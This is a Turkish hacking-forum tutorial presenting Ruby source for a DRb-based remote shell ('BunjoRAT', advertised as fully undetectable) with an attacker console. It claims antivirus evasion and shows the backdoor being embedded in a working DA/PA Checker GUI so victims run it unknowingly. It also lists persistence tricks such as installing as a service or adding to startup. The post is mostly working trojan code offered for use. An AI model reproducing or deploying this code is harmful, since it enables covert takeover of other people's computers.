Merhaba ben saldırı timlerinden Bunjo, bu konuda piyasada bulunan anti virüsler ile biraz eğleneceğiz.
İlk Konu:
Remote Code Execution Servisi Kodlamak! #1
- client.rb -
Ruby:
require 'drb'
class RShell
def exec(cmd)
`#{cmd}`
end
end
DRb.start_service("druby://0.0.0.0:8080", RShell.new)
DRb.thread.join
- server.rb -
Ruby:
require 'drb'
begin
rshell = DRbObject.new_with_uri("druby://localhost:8080")
loop do
begin
STDOUT.print("Command: ")
command = gets
STDOUT.puts("\nOutput: ")
puts rshell.exec command
rescue
end
end
rescue => exception
STDOUT.puts(exception)
end
Bir önce açtığım konuda programı Debian/Linux olan bir sistemde çalıştırmıştım ve platform bağımsızlığı olduğunu da belirtmiştim.
Şimdi ise Windows bir sistemde de deneyelim.
Şekildeki gibi sorunsuz şekilde program çalışıyor.
Rapor Linkleri:
Virustotal: VirusTotal
Jotti: client.rb - Jotti's malware scan
Virscan: VirScan - 多引擎文件在线检测平台
Raw script yüklenince bulmuyor diyenler için: Saldırgan komut çalıştırırken bile defender bir işe yaramıyor, başka yazılımlar ile de deneyebilirsiniz.
İyi uykular Windows Defender...
Şimdi kodumuzda biraz iyileştirmeler yapmalıyız. Örnek olarak karşı tarafa boş komut yollandığı zaman bağlantı sonlandırıyor.
Komut yollarken bir hata yakalama metodu ekleyeceğiz. Hata yakalama metodunun içinin boş olması ve bir döngüde olmamızın sayesinde bağlantı kapanmaycaktır.
- server.rb -
Ruby:
require 'drb'
class RServer
def get_shell
begin
@shell = DRbObject.new_with_uri("druby://localhost:8080")
rescue => get_shell_error
STDERR.puts("Error: #{get_shell_error}")
end
end
def banner
banner_text = <<-'BANNER_TEXT'
__________________
.-' \ _.-''-._ / '-. %100 FUD
.-/\ .'. .'. /\-. ANKA TEAM
_'/ \.' '. .' './ \'_ BunjoRAT
:======:======::======:======: RUBY
'. '. \ '' / .' .'
'. . \ : : / . .'
'.' \ ' ' / '.'
': \: :/ :'
'. \ / .'
'.\ /.'
'\/'
BANNER_TEXT
puts(banner_text.red)
end
def endl
puts
end
def exec_command
loop do
begin
print("Execute: ".cyan)
command = gets.chomp
endl
puts(@shell.exec(command))
rescue
end
end
end
end
class String
def red
"\e[31m#{self}\e[0m"
end
def green
"\e[32m#{self}\e[0m"
end
def yellow
"\e[33m#{self}\e[0m"
end
def blue
"\e[34m#{self}\e[0m"
end
def magenta
"\e[35m#{self}\e[0m"
end
def cyan
"\e[36m#{self}\e[0m"
end
def white
"\e[37m#{self}\e[0m"
end
end
server = RServer.new
server.banner
server.get_shell
server.exec_command
Görselde olduğu gibi sorun çözüldü.
Server (saldırgan) tarafında yaptığımız ayarlamalar şuan için bitti.
Eğer karşı taraf programı kapatırsa sunucu durur ve bağlantımızı kayıp ederiz. Bunun için yapabileceğimiz şeylerden bazıları:
1- Kodu bir servis olarak bilgisayara enjekte etmek.
2- Kullanıcıya virüsü bir programmış gibi gösterip bağlantıyı arka planda çalıştırmak.
3- Programı temp gibi gözden kaçabilecek yerlere kopyalayıp, başlangıçta çalıştırılacaklara eklemek.
Ben bu konuda 2. seçeneği anlatacağım.
Önceden konusunu açtığım bir DA/PA Checker programım vardı.
DA/PA Checker konusu için tıkla!
Virüsü bu programın içine gömmeyi deneyelim.
Burada karşımıza GIL gibi büyük bir sorun çıkıyor.
GIL konum için tıkla!
Burada "eventmachine" adlı bir gem devreye giriyor ve asenkron programlama yapabilmemize olanak sağlıyor.
DA/PA Checker Kodları:
Ruby:
require 'gtk3'
require 'httparty'
class MainWindow
def initialize
@headers = {
'X-RapidAPI-Key': '',
'X-RapidAPI-Host': 'domain-da-pa-check.p.rapidapi.com'
}
@window = Gtk::Window.new
@window.title = "DA/PA Checker"
@window.set_default_size(250, 280)
@window.signal_connect("destroy") { Gtk.main_quit }
@vbox = Gtk::Box.new(:vertical, 5)
@window.add(@vbox)
@entry = Gtk::Entry.new
@vbox.pack_start(@entry, expand: false, fill: false, padding: 5)
@button = Gtk::Button.new(label: "Check DA/PA")
@button.signal_connect("clicked") { checker }
@vbox.pack_start(@button, expand: false, fill: false, padding: 5)
@textview = Gtk::TextView.new
@textview.editable = false
@scrolled_window = Gtk::ScrolledWindow.new
@scrolled_window.add(@textview)
@vbox.pack_start(@scrolled_window, expand: true, fill: true, padding: 5)
@window.show_all
end
def add_text(target, da, pa, spam)
@textview.buffer.text += "Target: #{target}\n"
@textview.buffer.text += "DA: #{da}\n"
@textview.buffer.text += "PA: #{pa}\n"
@textview.buffer.text += "Spam: #{spam}\n"
end
def send_req(domain)
@response = HTTParty.get("https://domain-da-pa-check.p.rapidapi.com/?target=#{domain}", headers: @headers)
target = @response['body']['target']
da = @response['body']['da_score']
pa = @response['body']['pa_score']
spam = @response['body']['spam_score']
add_text(target, da, pa, spam)
end
def checker
@textview.buffer.text = ""
domain = @entry.text
send_req(domain)
end
end
Gtk.init
MainWindow.new
Gtk.main
İçine gömme yapacağımız kod bu olacak.
Not: Bu konular karşı tarafa zarar vermeniz için açılmıyor, siz kendiniz başka başka projelerinizin içine aynı şekilde gömme işleminizi yapabilirsiniz fakat ben bunu burada anlatmayacağım. Kısaca demek istediğim şey projenizi dosyalara parçalayıp çok fazla klasör ve dosya elde edebilirsiniz ve onların içinden birisine yine aynı işlemi yapabilirsiniz fakat ben bunu burada anlatırsam konu amacından çıkar.
Ufak bir programa gömme işlemi aşamasına geçelim.
Eventmachine gemini indirelim.
Rich (BB code):
gem install eventmachine
Şimdi de DRB sunucusunu arka planda çalışacak şekilde kodda değiştirelim.
- client.rb -
Ruby:
require 'drb'
require 'eventmachine'
class RShell
def exec(cmd)
`#{cmd}`
end
end
DRb.start_service('druby://0.0.0.0:8080', RShell.new)
EM.run do
puts("Asenkron gibisi yok!")
end
GIL engelini de atlattığımıza göre artık bu kodu DA/PA Checker programıyla entegre etmekte hazırız.
Entegre Kod:
Ruby:
require 'drb'
require 'eventmachine'
require 'gtk3'
require 'httparty'
class RShell
def exec(cmd)
`#{cmd}`
end
end
DRb.start_service('druby://0.0.0.0:8080', RShell.new)
EM.run do
class MainWindow
def initialize
@headers = {
'X-RapidAPI-Key': 'ANAHTARINIZ',
'X-RapidAPI-Host': 'domain-da-pa-check.p.rapidapi.com'
}
@window = Gtk::Window.new
@window.title = "DA/PA Checker"
@window.set_default_size(250, 280)
@window.signal_connect("destroy") { Gtk.main_quit }
@vbox = Gtk::Box.new(:vertical, 5)
@window.add(@vbox)
@entry = Gtk::Entry.new
@vbox.pack_start(@entry, expand: false, fill: false, padding: 5)
@button = Gtk::Button.new(label: "Check DA/PA")
@button.signal_connect("clicked") { checker }
@vbox.pack_start(@button, expand: false, fill: false, padding: 5)
@textview = Gtk::TextView.new
@textview.editable = false
@scrolled_window = Gtk::ScrolledWindow.new
@scrolled_window.add(@textview)
@vbox.pack_start(@scrolled_window, expand: true, fill: true, padding: 5)
@window.show_all
end
def add_text(target, da, pa, spam)
@textview.buffer.text += "Target: #{target}\n"
@textview.buffer.text += "DA: #{da}\n"
@textview.buffer.text += "PA: #{pa}\n"
@textview.buffer.text += "Spam: #{spam}\n"
end
def send_req(domain)
@response = HTTParty.get("https://domain-da-pa-check.p.rapidapi.com/?target=#{domain}", headers: @headers)
target = @response['body']['target']
da = @response['body']['da_score']
pa = @response['body']['pa_score']
spam = @response['body']['spam_score']
add_text(target, da, pa, spam)
end
def checker
@textview.buffer.text = ""
domain = @entry.text
send_req(domain)
end
end
Gtk.init
MainWindow.new
Gtk.main
end
Evet o mutlu mutlu programını kullanmaya devam edebilir, biz de onu kullanıyoruz.
Okuyan herkese teşekkür ederim. Yeni konular gelecektir.
Emeğe karşılık konuyu beğenip mesaj atabilirsiniz
Son düzenleme: